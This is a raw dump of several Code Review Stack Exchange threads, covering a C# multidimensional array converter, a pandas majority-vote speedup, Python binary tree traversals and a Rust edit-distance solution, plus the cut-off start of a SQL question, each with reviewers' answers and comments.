<p><strong>The experimental implementation</strong></p>
<p>The experimental implementation is as below.</p>
<pre><code>public class Converters
{
public static TOutput[,] ConvertAll<TInput, TOutput>(TInput[,] array, Converter<TInput, TOutput> converter)
{
if (array is null)
{
throw new ArgumentNullException(nameof(array));
}
if (converter is null)
{
throw new ArgumentNullException(nameof(converter));
}
var output = new TOutput[array.GetLongLength(0), array.GetLongLength(1)];
for (long row = 0; row < array.GetLongLength(0); row++)
{
for (long column = 0; column < array.GetLongLength(1); column++)
{
output[row, column] = converter(array[row, column]);
}
}
return output;
}
public static TOutput[,,] ConvertAll<TInput, TOutput>(TInput[,,] array, Converter<TInput, TOutput> converter)
{
if (array is null)
{
throw new ArgumentNullException(nameof(array));
}
if (converter is null)
{
throw new ArgumentNullException(nameof(converter));
}
var output = new TOutput[array.GetLongLength(0), array.GetLongLength(1), array.GetLongLength(2)];
for (long dim1 = 0; dim1 < array.GetLongLength(0); dim1++)
{
for (long dim2 = 0; dim2 < array.GetLongLength(1); dim2++)
{
for (long dim3 = 0; dim3 < array.GetLongLength(2); dim3++)
{
output[dim1, dim2, dim3] = converter(array[dim1, dim2, dim3]);
}
}
}
return output;
}
public static TOutput[,,,] ConvertAll<TInput, TOutput>(TInput[,,,] array, Converter<TInput, TOutput> converter)
{
if (array is null)
{
throw new ArgumentNullException(nameof(array));
}
if (converter is null)
{
throw new ArgumentNullException(nameof(converter));
}
var output = new TOutput[array.GetLongLength(0), array.GetLongLength(1), array.GetLongLength(2), array.GetLongLength(3)];
for (long dim1 = 0; dim1 < array.GetLongLength(0); dim1++)
{
for (long dim2 = 0; dim2 < array.GetLongLength(1); dim2++)
{
for (long dim3 = 0; dim3 < array.GetLongLength(2); dim3++)
{
for (long dim4 = 0; dim4 < array.GetLongLength(3); dim4++)
{
output[dim1, dim2, dim3, dim4] = converter(array[dim1, dim2, dim3, dim4]);
}
}
}
}
return output;
}
public static TOutput[,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,] array, Converter<TInput, TOutput> converter)
{
if (array is null)
{
throw new ArgumentNullException(nameof(array));
}
if (converter is null)
{
throw new ArgumentNullException(nameof(converter));
}
var output = new TOutput[array.GetLongLength(0), array.GetLongLength(1), array.GetLongLength(2), array.GetLongLength(3), array.GetLongLength(4)];
for (long dim1 = 0; dim1 < array.GetLongLength(0); dim1++)
{
for (long dim2 = 0; dim2 < array.GetLongLength(1); dim2++)
{
for (long dim3 = 0; dim3 < array.GetLongLength(2); dim3++)
{
for (long dim4 = 0; dim4 < array.GetLongLength(3); dim4++)
{
for (long dim5 = 0; dim5 < array.GetLongLength(4); dim5++)
{
output[dim1, dim2, dim3, dim4, dim5] = converter(array[dim1, dim2, dim3, dim4, dim5]);
}
}
}
}
}
return output;
}
public static TOutput[,,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,,] array, Converter<TInput, TOutput> converter)
{
if (array is null)
{
throw new ArgumentNullException(nameof(array));
}
if (converter is null)
{
throw new ArgumentNullException(nameof(converter));
}
var output = new TOutput[array.GetLongLength(0), array.GetLongLength(1), array.GetLongLength(2), array.GetLongLength(3), array.GetLongLength(4), array.GetLongLength(5)];
for (long dim1 = 0; dim1 < array.GetLongLength(0); dim1++)
{
for (long dim2 = 0; dim2 < array.GetLongLength(1); dim2++)
{
for (long dim3 = 0; dim3 < array.GetLongLength(2); dim3++)
{
for (long dim4 = 0; dim4 < array.GetLongLength(3); dim4++)
{
for (long dim5 = 0; dim5 < array.GetLongLength(4); dim5++)
{
for (long dim6 = 0; dim6 < array.GetLongLength(5); dim6++)
{
output[dim1, dim2, dim3, dim4, dim5, dim6] = converter(array[dim1, dim2, dim3, dim4, dim5, dim6]);
}
}
}
}
}
}
return output;
}
}
</code></pre>
<p><strong>Test cases</strong></p>
<p>The test cases listed here include two dimensional case, three dimensional case and four dimensional case.</p>
<pre><code>Console.WriteLine("Two dimensional case");
int[,] ii = { { 0, 1 }, { 2, 3 } };
double[,] dd = Converters.ConvertAll(ii, x => x + 0.1);
for (long row = 0; row < dd.GetLongLength(0); row++)
{
for (long column = 0; column < dd.GetLongLength(1); column++)
{
Console.Write(dd[row, column].ToString() + "\t");
}
Console.WriteLine();
}
Console.WriteLine();
Console.WriteLine("Three dimensional case");
int[,,] iii = { { { 0, 1 }, { 2, 3 } } , { { 0, 1 }, { 2, 3 } } };
double[,,] ddd = Converters.ConvertAll(iii, x => x + 0.1);
for (long dim1 = 0; dim1 < ddd.GetLongLength(0); dim1++)
{
Console.WriteLine($"dim1 = {dim1}");
for (long dim2 = 0; dim2 < ddd.GetLongLength(0); dim2++)
{
for (long dim3 = 0; dim3 < ddd.GetLongLength(1); dim3++)
{
Console.Write(ddd[dim1, dim2, dim3].ToString() + "\t");
}
Console.WriteLine();
}
Console.WriteLine();
}
Console.WriteLine("Four dimensional case");
int[,,,] iiii = { { { { 0, 1 }, { 2, 3 } }, { { 0, 1 }, { 2, 3 } } }, { { { 0, 1 }, { 2, 3 } }, { { 0, 1 }, { 2, 3 } } } };
var dddd = Converters.ConvertAll(iiii, x => x + 0.1);
for (long dim1 = 0; dim1 < dddd.GetLongLength(0); dim1++)
{
for (long dim2 = 0; dim2 < dddd.GetLongLength(1); dim2++)
{
Console.WriteLine($"dim1 = {dim1}, dim2 = {dim2}");
for (long dim3 = 0; dim3 < dddd.GetLongLength(2); dim3++)
{
for (long dim4 = 0; dim4 < dddd.GetLongLength(3); dim4++)
{
Console.Write(dddd[dim1, dim2, dim3, dim4].ToString() + "\t");
}
Console.WriteLine();
}
Console.WriteLine();
}
Console.WriteLine();
}
</code></pre>
<p>The output of the test code above:</p>
<pre><code>Two dimensional case
0.1 1.1
2.1 3.1
Three dimensional case
dim1 = 0
0.1 1.1
2.1 3.1
dim1 = 1
0.1 1.1
2.1 3.1
Four dimensional case
dim1 = 0, dim2 = 0
0.1 1.1
2.1 3.1
dim1 = 0, dim2 = 1
0.1 1.1
2.1 3.1
dim1 = 1, dim2 = 0
0.1 1.1
2.1 3.1
dim1 = 1, dim2 = 1
0.1 1.1
2.1 3.1
</code></pre>
<p>All suggestions are welcome. If there is any issue about potential drawback or unnecessary overhead of the implemented methods, please let me know.</p>
|
[] |
[
{
"body": "<p>I want to present an alternative solution. In .NET, arrays implement <code>IEnumerable</code>. This allows us to iterate multi dimensional arrays as if they were flat. The downside is that we must calculate the indexes in the output array.</p>\n<p>Here is an example for a 3-d array:</p>\n<pre><code>public static TOutput[,,] ConvertAll<TInput, TOutput>(TInput[,,] input,\n Converter<TInput, TOutput> convert)\n{\n int N0 = input.GetLength(0);\n int N1 = input.GetLength(1);\n int N2 = input.GetLength(2);\n var output = new TOutput[N0, N1, N2];\n\n int n = 0;\n foreach (var item in input) {\n int i = n / (N1 * N2);\n int j = n / N2 % N1;\n int k = n % N2;\n output[i, j, k] = convert(item);\n n++;\n }\n return output;\n}\n</code></pre>\n<p>The idea is, for the index of a given dimension, to divide the index in the flattened enumeration <code>n</code> by the product of the lengths of the higher dimensions (as an integer division) and then to take the modulus of its own length. The modulus is not necessary for the first index, as the result of the division will never exceed the index range.</p>\n<hr />\n<p>I made test cases with dimensions having different lengths, to be sure I got the index calculation right.</p>\n<pre><code>public static void Test()\n{\n var input = new int[2, 3, 4] {\n { { 1, 2, 3, 4 }, { 5, 6, 7, 8 }, { 9, 10, 11, 12 } },\n { { 13, 14, 15, 16 }, { 17, 18, 19, 20 }, { 21, 22, 23, 24 } }\n };\n var output = ConvertAll<int, double>(input, i => (double)i);\n WriteTest(output);\n Console.WriteLine();\n\n var input2 = new int[4, 3, 2] {\n { { 1, 2 }, { 3, 4 }, { 5, 6 } }, \n { { 7, 8 }, { 9, 10 }, { 11, 12 } }, \n { { 13, 14 }, { 15, 16 }, { 17, 18 } }, \n { { 19, 20 }, { 21, 22 }, { 23, 24 } }\n };\n var output2 = ConvertAll<int, double>(input2, i => (double)i);\n WriteTest(output2);\n}\n\nprivate static void WriteTest(double[,,] array)\n{\n int N0 = array.GetLength(0);\n int N1 = array.GetLength(1);\n int N2 = array.GetLength(2);\n for (int i = 0; i < N0; i++) {\n for (int j = 0; j < N1; j++) {\n for (int k = 0; k < N2; k++) {\n Console.WriteLine($"array[{i},{j},{k}] = {array[i, j, k]}");\n }\n }\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T15:12:00.567",
"Id": "255285",
"ParentId": "255269",
"Score": "4"
}
},
{
"body": "<p>Your code is repetitive. To solve that I'll show some array-related easy cheats.</p>\n<ul>\n<li>As @Olivier said, <code>Array</code> implements <code>IEnumerable</code>. Thus you can iterate it with <code>foreach</code>.</li>\n<li><code>Array</code> is parent type for any array. Then you may upcast any array to <code>Array</code>.</li>\n<li>Method <code>Buffer.BlockCopy</code> can copy bytes from array to another array regardless of data type but accepts a data item size.</li>\n<li><code>Marshal.SizeOf</code> calculates the item size in bytes by <code>Type</code> and allows to use the Generic types. Here's a restriction, you can't use reference types such as classes here.</li>\n</ul>\n<p>The solution is single method</p>\n<pre class=\"lang-cs prettyprint-override\"><code>static Array ConvertArray<T, TResult>(Array array, Converter<T, TResult> converter)\n where T : unmanaged // these two lines protects you from passing unsupported types to the method\n where TResult : unmanaged\n{\n int[] dimensions = new int[array.Rank];\n for (int i = 0; i < array.Rank; i++)\n dimensions[i] = array.GetLength(i);\n Array result = Array.CreateInstance(typeof(TResult), dimensions); // instantiates the resulting array\n TResult[] tmp = new TResult[1]; // wrap an item with array to feed Buffer.BlockCopy\n int offset = 0;\n int itemSize = Marshal.SizeOf(typeof(TResult));\n foreach (T item in array)\n {\n tmp[0] = converter(item);\n Buffer.BlockCopy(tmp, 0, result, offset * itemSize, itemSize);\n offset++;\n }\n return result;\n}\n</code></pre>\n<p>This method accepts any array of any amount of dimensions of any <code>ValueType</code> items e.g. any primitive types or structs of primitive types.</p>\n<p>Three lines of your test cases code changed, the other lines remain the same</p>\n<pre class=\"lang-cs prettyprint-override\"><code>double[,] dd = (double[,])ConvertArray<int, double>(ii, x => x + 0.1);\ndouble[,,] ddd = (double[,,])ConvertArray<int, double>(iii, x => x + 0.1);\nvar dddd = (double[,,,])ConvertArray<int, double>(iiii, x => x + 0.1);\n</code></pre>\n<p>The console output is exactly the same.</p>\n<hr />\n<p>The signature of the <code>ConvertArray</code> method may look unfriendly, so you can wrap it with the desired method, for example:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public static TOutput[,] ConvertAll<TInput, TOutput>(TInput[,] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n{\n return (TOutput[,])ConvertArray(array, converter);\n}\n</code></pre>\n<hr />\n<p>Another example to illustrate multi-dimentional array conversion with <code>.Cast<T>()</code> and <code>Buffer.BlockCopy()</code>.</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public static TOutput[,] ConvertAll<TInput, TOutput>(TInput[,] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n{\n TOutput[] tmp = Array.ConvertAll(array.Cast<TInput>().ToArray(), converter);\n TOutput[,] result = new TOutput[array.GetLength(0), array.GetLength(1)];\n int itemSize = Marshal.SizeOf(typeof(TOutput));\n Buffer.BlockCopy(tmp, 0, result, 0, array.Length * itemSize);\n return result;\n}\n</code></pre>\n<p>The negative side of this implementation is twice more memory consumption to allocate two single-dimension arrays that contains yhe same data. I don't recommend this solution because it's not optimized, i gave it just to show how to convert multi-dimensional array to single-dimensional and vice-versa.</p>\n<p><em>Note: in case you're not using Generic type but some concrete primitive e.g.<code>int</code>, you may directly use <code>sizeof(int)</code> instead of <code>Marshal.SizeOf(typeof(int))</code>. The last one is useful only with non-primitive or generic types.</em></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T23:20:21.963",
"Id": "255308",
"ParentId": "255269",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "255285",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T03:50:33.297",
"Id": "255269",
"Score": "9",
"Tags": [
"c#",
"array",
"generics",
"converting",
"lambda"
],
"Title": "ConvertAll Methods Implementation for Multidimensional Array in C#"
}
|
255269
|
<p>I have the following code to do a majority vote for data in a dataframe:</p>
<pre><code>def vote(df, systems):
test = df.drop_duplicates(subset=['begin', 'end', 'case', 'system'])
n = int(len(systems)/2)
data = []
for row in test.itertuples():
# get all matches
fx = test.loc[(test.begin == row.begin) & (test.end == row.end) & (test.case == row.case)]
fx = fx.loc[fx.system.isin(systems)]
# keep if in a majority of systems
if len(set(fx.system.tolist())) > n:
data.append(fx)
out = pd.concat(data, axis=0, ignore_index=True)
out = out.drop_duplicates(subset=['begin', 'end', 'case'])
return out[['begin', 'end', 'case']]
</code></pre>
<p>The data look like:</p>
<pre><code>systems = ['A', 'B', 'C', 'D', 'E']
df = begin,end,system,case
0,9,A,0365
10,14,A,0365
10,14,B,0365
10,14,C,0365
28,37,A,0366
38,42,A,0366
38,42,B,0366
53,69,C,0366
56,60,B,0366
56,60,C,0366
56,69,D,0366
64,69,E,0366
83,86,B,0367
</code></pre>
<p>The expected output should be:</p>
<pre><code>out = begin,end,case
10,14,0365
56,69,0366
</code></pre>
<p>IOW, if desired elements <code>begin, end, case</code> appear in a majority of systems, we accumulate them and return them as a dataframe.</p>
<p>The algorithm works perfectly fine, but since there are hundreds of thousands of rows in it, this is taking quite a while to process.</p>
<p>One optimization I can think of, but am unsure of how to implement is in the <code>itertuples</code> iteration: If, for the first instance of a filter set <code>begin, end, case</code> there are matches in</p>
<pre><code>fx = test.loc[(test.begin == row.begin) & (test.end == row.end) & (test.case == df.case) & (fx.system.isin(systems))]
</code></pre>
<p>then, it would be beneficial to not iterate over the other rows in the <code>itertuples</code> iterable that match on this filter. For example, for the first instance of <code>10,14,A,0365</code> there is no need to check the next two rows, since they've already been evaluated. However, since the iterable is already fixed, there is no way to skip these of which I can think.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T08:20:26.180",
"Id": "503646",
"Score": "1",
"body": "Why is `56,69,0366` included in the output? Far as I can tell it occurs only 2 times, same as `38,42,0366` and `56,60,0366`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T15:35:00.650",
"Id": "503681",
"Score": "0",
"body": "Please do not edit the question after an answer has been given, everyone who sees the question must see the same thing the reviewer than answered saw. Please read [What should I do when someone answers my question?](https://codereview.stackexchange.com/help/someone-answers)"
}
] |
[
{
"body": "<p>This can be solved with a simple <code>groupby</code> operation, which can tell you how often each combination appears. Then you just need to compare this with your <code>n</code> and filter the data:</p>\n<pre><code>key = ["begin", "end", "case"]\nn = len(systems) // 2\n\nmask = df.groupby(key)["system"].count() > n\n\ndf.set_index(key)[mask] \\\n .reset_index() \\\n .drop(columns="system") \\\n .drop_duplicates()\n\n# begin end case\n# 0 10 14 0365\n</code></pre>\n<p>This outputs the same as your code on my machine, but not the same as the example output you gave in your question (which I think is wrong).</p>\n<p>Note that I used integer division <code>//</code> instead of float division <code>/</code> and manually casting to <code>int</code>.</p>\n<p>In general, if you find yourself using <code>itertuples</code> in <code>pandas</code>, you should think very hard if you cannot achieve your goal in another way, as that is one of the slowest ways to do something with all rows of a dataframe.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T15:28:25.307",
"Id": "503680",
"Score": "1",
"body": "Thanks for confirming! The same solution dawned on me earlier this morning. (I corrected the example output: I had misread the end value for it!)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T08:43:13.987",
"Id": "255273",
"ParentId": "255270",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255273",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T03:59:00.463",
"Id": "255270",
"Score": "1",
"Tags": [
"python",
"performance",
"pandas",
"iterator"
],
"Title": "How to optimize this majority vote method"
}
|
255270
|
<p>Based on what i understood of Binary Tree, queue and recursion I implemented this Breadth First Search algorithm as follows.
Do you have any suggestions to improve (in term of readability, good practice etc...) it?</p>
<pre><code># Definition for a binary tree node.
class Node(object):
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
def preorder_print(self):
print(self.val)
if self.left:
self.left.preorder_print()
if self.right:
self.right.preorder_print()
return
def postorder_print(self):
if self.left:
self.left.postorder_print()
if self.right:
self.right.postorder_print()
print(self.val)
return
def inorder_print(self):
if self.left:
self.left.inorder_print()
print(self.val)
if self.right:
self.right.inorder_print()
return
def bread_traversal_print(self):
q=Queue()
q.push(self)
def bt():
#import pdb;pdb.set_trace
if not q:
return
node=q.pop()
if node:
if node.left:
q.push(node.left)
if node.right:
q.push(node.right)
print(node.val)
bt()
bt()
class Queue():
def __init__(self):
self.data = []
def push(self,elt):
self.data.append(elt)
def pop(self):
if self.data:
return self.data.pop(0)
def peek(self):
if self.data:
return self.data[0]
if __name__ == "__main__":
#input = [l for l in 'FDJBEGKACIH']
root = Node(1)
root.left = Node(2)
root.right = Node(3)
root.left.left = Node(4)
root.left.right = Node(5)
root.right.left = Node(6)
root.right.right = Node(7)
print("preorder:")
root.preorder_print()
print("postorder:")
root.postorder_print()
print("inorder:")
root.inorder_print()
print('bread :')
root.bread_traversal_print()
""" 1
2 3
4 5 6 7
[1 2 4 5 3 6 7]
"""
</code></pre>
<p>EDIT: Yes BFS for Breadth First Search would be more appropriate ;)</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T14:20:40.127",
"Id": "503670",
"Score": "3",
"body": "Ok so bread is first, but what's for dessert? :-P"
}
] |
[
{
"body": "<h1>Class definition</h1>\n<p>There is no need to explicitly inherit from <code>object</code>; that is a Python 2.x anachronism.</p>\n<p>Instead of <code>class Node(object):</code>, simply write <code>class Node:</code>.</p>\n<p>Similarly, <code>class Queue():</code> can simply be <code>class Queue:</code>.</p>\n<h1>Default Parameters</h1>\n<p>Every <code>Node</code> should have a value; there is little reason to provide a default of <code>0</code> for the <code>val</code> parameter. By forcing the caller to provide the value, you are less likely to accidentally have a node with the default integer <code>0</code> value when all the other nodes are created with (say) strings.</p>\n<h1>Unnecessary returns</h1>\n<p>There is no need for the <code>return</code> statements in <code>preorder_print</code>, <code>postorder_print</code>, and <code>inorder_print</code>.</p>\n<h1>Visitor pattern</h1>\n<p>You have defined several methods for traversing the tree. All of them print the values. If you wanted to do anything else with the values, you're stuck writing another (set of 4?) function.</p>\n<p>Instead, you should separate the traversal from the operation. Visit each node, in some order, and do something at that node.</p>\n<pre class=\"lang-py prettyprint-override\"><code>class Node:\n\n ...\n\n def preorder(self, visitor):\n visitor(self.val)\n if self.left:\n self.left.preorder(visitor)\n if self.right:\n self.preorder(visitor)\n\n ...\n\n# Do a pre-order traversal the tree, starting at the root, printing each values.\nroot.preorder(print)\n</code></pre>\n<h1>Breadth First Traversal</h1>\n<p>First, the function should probably be called <code>breadth_traversal_print</code>, not <code>bread_traversal_print</code>.</p>\n<p>Second, there is no need to use recursion during a breadth first traversal. You have a <code>Queue</code> which keeps track of the nodes you need to visit. You just need to loop <code>while</code> the queue is not empty. The recursion is doing a loop in a resource-intensive fashion. If Python had tail-call-optimization, the inefficiency could be removed automatically; but Python doesn't, so looping this way is wrong.</p>\n<pre class=\"lang-py prettyprint-override\"><code> def breadth_traversal_print(self):\n q = Queue()\n q.push(self)\n\n while q:\n node = q.pop()\n if node:\n if node.left:\n q.push(node.left)\n if node.right:\n q.push(node.right)\n print(node.val)\n</code></pre>\n<h1>PEP-8</h1>\n<p>The <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP 8 -- Style Guide for Python</a> enumerates many style guidelines all programs should follow.</p>\n<h2>White Space</h2>\n<p>There should be a space around binary operators, like <code>=</code>. You violate this with <code>q=Queue()</code>. Note that <code>=</code> used with keyword arguments is not an operator, so doesn't shouldn't be surrounded by white space; therefore <code>def __init__(self, val=0, left=None, right=None):</code> is correct.</p>\n<p>There should be a space after commas. You violate this in <code>def push(self,elt):</code></p>\n<h1>No-op code</h1>\n<p>This string ...</p>\n<pre class=\"lang-py prettyprint-override\"><code> """ 1\n 2 3\n 4 5 6 7\n\n [1 2 4 5 3 6 7]\n\n """\n</code></pre>\n<p>... is a statement which does nothing, and has no side-effect. Perhaps you meant this to be a comment?</p>\n<p><strong>NOTE</strong>: This is different from <code>"""docstrings"""</code>. A string statement which immediately follows a <code>class</code> or <code>def</code> statement is treated as a docstring, removed from the program code, and stored in the <code>__doc__</code> member of the class or function by the Python interpreter. There, it can be extracted by <code>help(...)</code> and other documentation generation programs.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T09:35:31.713",
"Id": "503739",
"Score": "0",
"body": "For the last comment, it is effectively not a string but a coment to help vizualize the test case in the if name =main part! IS it bad practice to include such string to help the reader to understand the test case ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T23:38:46.110",
"Id": "503797",
"Score": "0",
"body": "If it is a comment, then syntactically is should be written as a comment, not as a string. As far as helping visualize the test case, it is beneath the breadth first traversal test case, but shows a list of the pre-order's output from several tests earlier. Running four \"test cases\", but showing the output for only one of them, and not bothering to specify which one it is, is not exactly helping the reader."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T18:53:25.520",
"Id": "255298",
"ParentId": "255272",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "255298",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T08:41:15.507",
"Id": "255272",
"Score": "2",
"Tags": [
"python",
"python-3.x",
"tree",
"binary-tree"
],
"Title": "Implementation of binary tree traversal"
}
|
255272
|
<p>I am solving LeetCode Dynamic Programming challenges (this one is #72, at <a href="https://leetcode.com/problems/edit-distance" rel="nofollow noreferrer">https://leetcode.com/problems/edit-distance</a>).</p>
<p>Here below, I've implemented a Rust solution for the minimum edit distance between two strings problem. (Note that this solution works and passes all the test cases on LeetCode)</p>
<pre class="lang-rust prettyprint-override"><code>use std::collections::HashMap;
use std::cmp::min;
impl Solution {
pub fn min_distance(word1: String, word2: String) -> i32 {
let mut D: HashMap<(i32, i32), i32> = HashMap::new();
let m = word1.len() as i32;
let n = word2.len() as i32;
let w1: Vec<char> = word1.chars().collect();
let w2: Vec<char> = word2.chars().collect();
for i in 0..=m {
D.insert((i, 0), i);
}
for j in 0..=n {
D.insert((0, j), j);
}
for i in 1..=m {
for j in 1..=n {
if w1[(i-1) as usize] == w2[(j-1) as usize] {
D.insert((i, j), *D.get(&(i-1, j-1)).unwrap());
} else {
let p = *D.get(&(i - 1, j - 1)).unwrap();
let q = *D.get(&(i - 1, j)).unwrap();
let r = *D.get(&(i, j - 1)).unwrap();
D.insert((i, j), 1 + min(p, min(q, r)));
}
}
}
return *D.get(&(m, n)).unwrap();
}
}
</code></pre>
<p>I've actually also solved the same thing in JAVA, which I have a much better command on...</p>
<pre class="lang-java prettyprint-override"><code>public class EditDistance {
public static int minDistance(String word1, String word2) {
int m = word1.length();
int n = word2.length();
int[][] D = new int[m+1][n+1];
for(int i=0; i<=m; ++i) D[i][0] = i;
for(int j=0; j<=n; ++j) D[0][j] = j;
for(int i=1; i<=m; ++i) {
for(int j=1; j<=n; ++j) {
if(word1.charAt(i-1) == word2.charAt(j-1)) D[i][j] = D[i-1][j-1];
else D[i][j] = 1 + Math.min(D[i-1][j-1], Math.min(D[i-1][j], D[i][j-1]));
}
}
return D[m][n];
}
public static void main(String[] args) {
System.out.println(minDistance("intention", "execution"));
}
}
</code></pre>
<p>Something about my Rust solution seems off to me. Not really sure but here are some of my irritations:</p>
<ol>
<li><p>I couldn't find a better way to iterate a string and refer to it by its index easily other than having to convert it to a vector.</p>
</li>
<li><p>I think I'm <code>unwrap()</code>-ing too much. Although I'm not aiming for code golf here, it still feels subconsciously that I could have avoided so many <code>unwrap()</code>s.</p>
</li>
<li><p>I feel a bit bad because I kind of word to word translated my solution from Java... perhaps there's a more Rust-idiomatic way of doing whatever I did?</p>
</li>
</ol>
<p>Looking forward to your advise and help :-) Thanks in advance!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T14:20:30.527",
"Id": "503669",
"Score": "0",
"body": "Does the Rust implementation pass all the tests on LeetCode?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T16:02:52.527",
"Id": "503686",
"Score": "0",
"body": "@pacmaninbw yes it does! :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T16:06:01.003",
"Id": "503687",
"Score": "0",
"body": "So, are you looking on a review of both pieces? If yes, then you should split the question. Also, you say \"something is off\", is it working as expected?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T16:09:36.413",
"Id": "503689",
"Score": "0",
"body": "@Bobby -- I'm primarily looking for the review of the rust implementation, however as a bonus java review will also be welcome. But I'm more interested in the rust review. I provide the java version because I kind of wrote the java solution first and then translated that to rust... I thought that would help create some kind of better \"mental model\". When I say \"something is off\", I say it from an idiomatic perspective. The code itself works -- I just felt that the way I did it is potentially more java-like than rust-like? If that's even a thing?"
}
] |
[
{
"body": "<p>The first thing I noticed about both versions of your code is the plenitude of single-letter names, something you can improve upon. Incidentally, Rust uses <code>snake_case</code> for variables, so the compiler would have warned you about <code>D</code>.</p>\n<p>Now, let's talk about the struggles I presume you have by reading the Rust code.</p>\n<p>First of all, you probably felt forced to convert between <code>i32</code> and <code>usize</code> all the time. The decision to return <code>i32</code> instead of <code>usize</code> is a typical indicator of the less-than-ideal quality of LeetCode interfaces (as usual). In fact, it goes worse - <code>impl Solution</code> is not a good idea in Rust, and there is no reason to take the ownership of strings here. My advice here would be to perform all calculations using <code>usize</code> and only convert to <code>i32</code> at the very end.</p>\n<p>I assume <code>HashMap<(i32, i32), i32></code> results from the lack of multi-dimensional vector support in Rust. Indeed, my first choice would be to use <a href=\"https://docs.rs/ndarray/0.14.0/ndarray/\" rel=\"nofollow noreferrer\"><code>ndarray</code></a> in this scenario, which is not available in the standard library. You can make a small wrapper for this:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>struct Vec2<T> {\n elements: Vec<T>,\n n_rows: usize,\n n_columns: usize,\n}\n</code></pre>\n<p>and derive <code>Index<(usize, usize)></code> and <code>IndexMut<(usize, usize)></code>. Or you could sacrifice some performance and use <code>Vec<Vec<usize>></code>.</p>\n<p>Instead of</p>\n<pre class=\"lang-rust prettyprint-override\"><code>let w1: Vec<char> = word1.chars().collect();\nlet w2: Vec<char> = word2.chars().collect();\n</code></pre>\n<p>I would simply use <code>.as_bytes()</code>, assuming that LeetCode doesn't consider multi-byte characters.</p>\n<hr />\n<p>Here's how I reassembled everything according to the Java version: (not tested)</p>\n<pre class=\"lang-rust prettyprint-override\"><code>pub fn min_distance(word_a: String, word_b: String) -> i32 {\n let word_a = word_a.as_bytes();\n let word_b = word_b.as_bytes();\n\n let len_a = word_a.len();\n let len_b = word_b.len();\n\n let mut matrix = vec![vec![0; len_b + 1]; len_a + 1];\n\n for i in 0..=len_a {\n matrix[i][0] = i;\n }\n for j in 0..=len_b {\n matrix[0][j] = j;\n }\n\n for i in 1..=len_a {\n for j in 1..=len_b {\n matrix[i][j] = if word_a[i - 1] == word_b[j - 1] {\n matrix[i - 1][j - 1]\n } else {\n 1 + matrix[i - 1][j - 1]\n .min(matrix[i - 1][j])\n .min(matrix[i][j - 1])\n };\n }\n }\n\n matrix[len_a][len_b] as i32\n}\n</code></pre>\n<p>The restriction of LeetCode (poor interface, no external crates) caused me to be lazy, so I used nested <code>Vec</code>s. In a real-world scenario, <code>ndarray::Array2</code> would be a far better choice.</p>\n<p>Besides, this is still far from optimal for Rust, where we tend to avoid manual indexing and <code>- 1</code>. Taking into account the algorithmic nature of this application, I won't go deeper into this.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T21:12:57.530",
"Id": "503788",
"Score": "0",
"body": "Such a beautiful review, thank you -- I'll wait a few days before accepting it :-)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T23:01:34.753",
"Id": "503886",
"Score": "0",
"body": "The function signature can be improved to `min_distance(word_a: &str, word_b: &str) -> i32` (it still compiles). You may have intended to change that"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T02:11:55.237",
"Id": "503894",
"Score": "1",
"body": "@6005 I would have gone ahead and changed it to `(&str, &str) -> usize` - but the interface is a restriction of LeetCode, so I left it as is."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T12:01:24.883",
"Id": "255322",
"ParentId": "255275",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "255322",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T08:47:15.467",
"Id": "255275",
"Score": "4",
"Tags": [
"java",
"algorithm",
"rust",
"dynamic-programming"
],
"Title": "Searching for an idiomatic Rust implementation of Minimum Edit Distance (LeetCode #72)"
}
|
255275
|
<p>I'm a SQL learner. In answering the question* <em>For the region with the largest sales total_amt_usd, how many total orders were placed?</em> for the following schema:</p>
